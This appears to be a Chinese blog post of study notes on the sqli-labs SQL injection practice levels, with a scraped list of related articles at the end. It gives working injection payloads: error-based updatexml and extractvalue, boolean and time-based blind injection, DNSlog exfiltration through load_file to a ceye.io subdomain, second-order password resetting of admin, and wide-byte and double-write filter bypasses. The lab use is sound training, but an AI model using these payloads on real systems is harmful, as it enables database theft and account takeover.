sql-lab

less1-4

  1. 加单引号报错得到报错信息

  2. 根据报错信息判断闭合条件

  3. order by找字段数

  4. union select找回显位置

  5. 找到回显位置正常爆数据

  6. 相同类型其他关卡

后端代码分析

GET方式获取id,单引号闭合,将查询到的数据输出到页面上

less5-10

  1. 加单引号得到报错信息

  2. 根据报错信息判断闭合条件

  3. order by找字段数

  4. union select没有回显位置

盲注

  1. 基于floor报错的盲注

    原理是利用group by 处理rand 函数进行处理时,会多次对同一列进行查询,返回duplicate key 错误
利用公式
union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a--+
  1. updatexml报错注入
利用公式
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
  1. extractvalue报错注入
利用公式
and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+

updatexml和extractvalue 在MySQL 5.1.5版本及以后版本中用于对XML文件进行处理,当Xpath 路径出错时会报错。

3. 基于bool判断的盲注

利用公式
' or Length(database()) = 8--+

根据页面是否返回正常判断bool判断是否正确。

4. 基于时间的盲注

利用公式
'  and if((select length(database())>7)>0,sleep(5),null) --+

sleep()和benchmark()可以用于延时注入,根据页面响应时间判断是否正确。

5. DNSlog平台盲注

DNSlog注入原理通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。可用于SQL注入中的盲注,XSS盲打,无回显的命令执行,无回显的SSRF,无回显的XXE(Blind XXE)。用于SQL盲注时需要满足secure_file_priv 为空。

利用公式
' and load_file(concat('\\\\',(select database()),'.**.ceye.io\\sql'))--+

sql-lab利用DNSlog平台注入

后端代码分析

GET方式获取id,单引号闭合,如果在数据库中查询到相关信息,返回特定信息作为flag,否则返回数据库错误信息。

less11-14

post 类型联合查询注入

1.判断

2.爆数据

3.后端代码分析

POST方式获取用户名和密码,单引号闭合,并将查询的数据显示在页面上。

post 类型盲注

1.判断

2.爆数据

3.后端代码分析

POST方式获取用户名和密码,单引号闭合,查询的数据不显示在页面上,只显示一个登陆成功的图片。

less15-16

没有错误回显时,可以借助or 1=1或者and 1=1以及order by判断闭合方式,有查询内容回显时也可以借助union select共同判断。

没有错误回显也没有内容回显,不能使用报错注入,只能使用布尔和时间盲注。

  1. 判断闭合

2.爆数据

3.后端代码分析

POST方式获取用户名和密码,单引号闭合,查询的数据不显示在页面上,只显示一个登陆成功的图片,不显示报错信息。

less17-22

不同注入点的注入类型

注入点在password 处

常见重置密码等数据库更新数据库的情况下

1.判断

2.爆数据

3.后端代码分析

POST方式获取用户名,然后再在更新密码处拼合,所以注入点在password。

注入点在usagent 处

1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合。

2.后端代码分析

先获取用户名,在将ip信息和usagent信息插入数据库,原查询语句有过滤,所以没有漏洞。

注入点在referer 处

1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合。

2.后端代码分析

先获取用户名,在将referer信息和usagent信息插入数据库,原查询语句有过滤,所以没有漏洞。

注入点在cookie 处

1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合。

2.后端代码分析

前面查询用户的数据处做了过滤,后面又通过cookie 查询数据,存在注入。

cookie 注入base64编码

1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合,对注入语句进行base64编码。

2.后端代码分析

主要对cookie 进行了base64编码

less23-28a

过滤绕过

过滤注释符

1.注入单引号闭合,不能使用注释符,使用and 和or 闭合语句。

2.后端代码分析

过滤了注释符

二次注入绕过过滤

1.注册一个新账号admin'#

2.修改新注册账号admin'# 的密码

3.实际上修改了admin 的密码

4.后端代码分析

通过注释符更新其他用户密码

过滤and和or

1.双写绕过

2.后端代码分析

匹配一次并替换成空格

过滤一大堆

1.and和or双写绕过,单引号闭合代替注释,括号代替空格,盲注

2.后端代码分析

过滤了一大堆

less29-31

两层服务架构,参数污染绕WAF

https://blog.csdn.net/m0_54899775/article/details/122156208

less32-37

宽字节注入

1.通过%bf或者其他ascii码大于128的字符进行绕过

2.后端代码分析

addslashes函数转换' 为'

post 类型宽字节注入

1.将 utf-8 转换为 utf-16 或 utf-32,例如将 '转为 utf-16 为 � ' ,进行注入

https://www.cnblogs.com/bmjoker/p/9134830.html

less38-45

堆叠注入

用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤

mysqli_multi_query()函数也可以造成堆叠注入

https://blog.csdn.net/weixin_42530572/article/details/106439380

1.堆叠插入一条数据。

2.后端代码分析

使用函数mysqli_multi_query(),可同时执行多条sql语句

post类型堆叠注入

1.堆叠插入一条数据

http://bc.twsec.com.cn/sqli1/Less-42/login.php

less46-53

order by语句与limit语句的注入

order by 注入

1.报错注入

2.后端代码分析

order by 后面是注入点,不能使用union select 注入,使用报错注入或盲注

https://blog.csdn.net/m0_54899775/article/details/122202855

less54-75

前面的内容,练习巩固。

sql-lab 通关笔记的更多相关文章

  1. SQL基础语法笔记教程整理

    PS:本文适用SQL Server2008语法. 一.关系型数据库和SQL 实际上准确的讲,SQL是一门语言,而不是一个数据库. 什么是SQL呢?简而言之,SQL就是维护和使用关系型数据库中的的数据的 ...

  2. SQL*Loader实验笔记【二】

      所有SQL*Loader实验笔记 实验案例总结(1-7):     SQL*Loader实验笔记[一] 实验案例总结(8-13):   SQL*Loader实验笔记[二] 实验案例总结(14-19 ...

  3. SQL查询(笔记2——实体查询)

    SQL查询(笔记2——实体查询) 二.实体查询 如果查询返回了某个数据表的全部数据列,且该数据表有对应的持久化类映射,我们就把查询结果转换成实体查询.将查询结果转换成实体,可以使用SQLQuery提供 ...

  4. SQL Server -- 回忆笔记(五):T-SQL编程,系统变量,事务,游标,触发器

    SQL Server -- 回忆笔记(五):T-SQL编程,系统变量,事务,游标,触发器 1. T-SQL编程 (1)声明变量 declare @age int (2)为变量赋值 (3)while循环 ...

  5. SQL 基础语法笔记教程整理

    最近从图书馆借了本介绍 SQL 的书,打算复习一下基本语法,记录一下笔记,整理一下思路,以备日后复习之用. PS:本文适用 SQL Server2008 语法. 首先,附一个发现的 MySQL 读书笔 ...

  6. 【SQL Server学习笔记】Delete 语句、Output 子句、Merge语句

    原文:[SQL Server学习笔记]Delete 语句.Output 子句.Merge语句 DELETE语句 --建表 select * into distribution from sys.obj ...

  7. SQL 数据库初学笔记一

    做web刚好用得上SQL和php,图书馆借来书,来一个一晚上速成 <SQL必知必会>笔记 通用的语法,相关分类执行程序(DBMS): Apache Open Office Base Ado ...

  8. 【程序员的SQL金典】笔记(第1章~第5章)

      第一章数据库入门 1.概念: 数据库 表 列 记录(行) 主键 索引         第二章 数据表的创建和管理 1.数据库系统中的数据类型大致可以分为五类:整数.数值.字符相关.日期时间以及二进 ...

  9. sql第一课笔记

    这是我看了imooc的视频教程之后重新写的笔记. 虽然之前也是学习过SQL Server数据库,但是也是忘记得差不多了.现在重新捡起来,安装一次数据库练习,使用的是mysql. 第一课是最简单的创建, ...

  10. SQL server2005学习笔记(一)数据库的基本知识、基本操作(分离、脱机、收缩、备份、还原、附加)和基本语法

    在软件测试中,数据库是必备知识,假期闲里偷忙,整理了一点学习笔记,共同探讨. 阅读目录 基本知识 数据库发展史 数据库名词 SQL组成 基本操作 登录数据库操作 数据库远程连接操作 数据库分离操作 数 ...

随机推荐

  1. Node.js躬行记(22)——Node环境升级日志

    公司之前所有的 Node 项目,其环境都是 8.9.4 版本,发布于 2018 年的一个比较古老的版本. 老版本有两个比较明显的问题: Node 高版本的特性和方法都无法使用. 有些第三方新版本的包无 ...

  2. KingbaseES 数据库本地化配置 LC_CTYPE 和 LC_COLLATE

    区域支持指的是应用遵守文化偏好的问题,包括字母表.排序.数字格式等.PostgreSQL使用服务器操作系统提供的标准 ISO C 和POSIX的区域机制.更多的信息请参考你的系统的文档. 概述 区域支 ...

  3. Taurus.MVC-Java 版本打包上传到Maven中央仓库(详细过程):5、Maven版本发布与后续版本更新(大结局)

    文章目录: Taurus.MVC-Java 版本打包上传到Maven中央仓库(详细过程):1.JIRA账号注册 Taurus.MVC-Java 版本打包上传到Maven中央仓库(详细过程):2.PGP ...

  4. 使用ESP8266nodeMCU 向微信推送模板数据

    使用HTTPS协议向微信公众号推送消息,(使用ESP8266的低成本实现) 前几天被朋友问到这个东西的实现方式,花了一下午时间研究一下,特此记录.没有排版比较乱. 一丶前往微信公众平台注册微信微信公众 ...

  5. Openstack neutron:SDN现状

    目录 - SDN现状 - (一)SDN现状 - SDN诞生的背景 - SDN的介绍 - (二)SDN领域的相关组织和发展现状 - 1.ONF - 2.OpenDaylight - 3. IETF -  ...

  6. Github-CLI

    Github-CLI Github 的官方命令行工具 Github CLI.Mac 系统可以通过 homebrew 安装或者直接下载免安装包来使用. 命令 Github CLI 的所有命令均以gh开头 ...

  7. Rust变量用法与特征

    变量用法与特征 变量绑定 let a = "hello world"  为何不用赋值而用绑定呢(其实你也可以称之为赋值,但是绑定的含义更清晰准确)?这里就涉及 Rust 最核心的原 ...

  8. Beats: 使用 Filebeat 进行日志结构化

    文章转载自:https://blog.csdn.net/UbuntuTouch/article/details/106688240 生产一个叫做 json_logs 的文件: {"user_ ...

  9. C#并发编程-2 异步编程基础-Task

    一 异步延迟 在异步方法中,如果需要让程序延迟等待一会后,继续往下执行,应使用Task.Delay()方法. //创建一个在指定的毫秒数后完成的任务. public static Task Delay ...

  10. vue禁用浏览器返回键

    mounted () { // 禁用浏览器返回键 history.pushState(null, null, document.URL); window.addEventListener('popst ...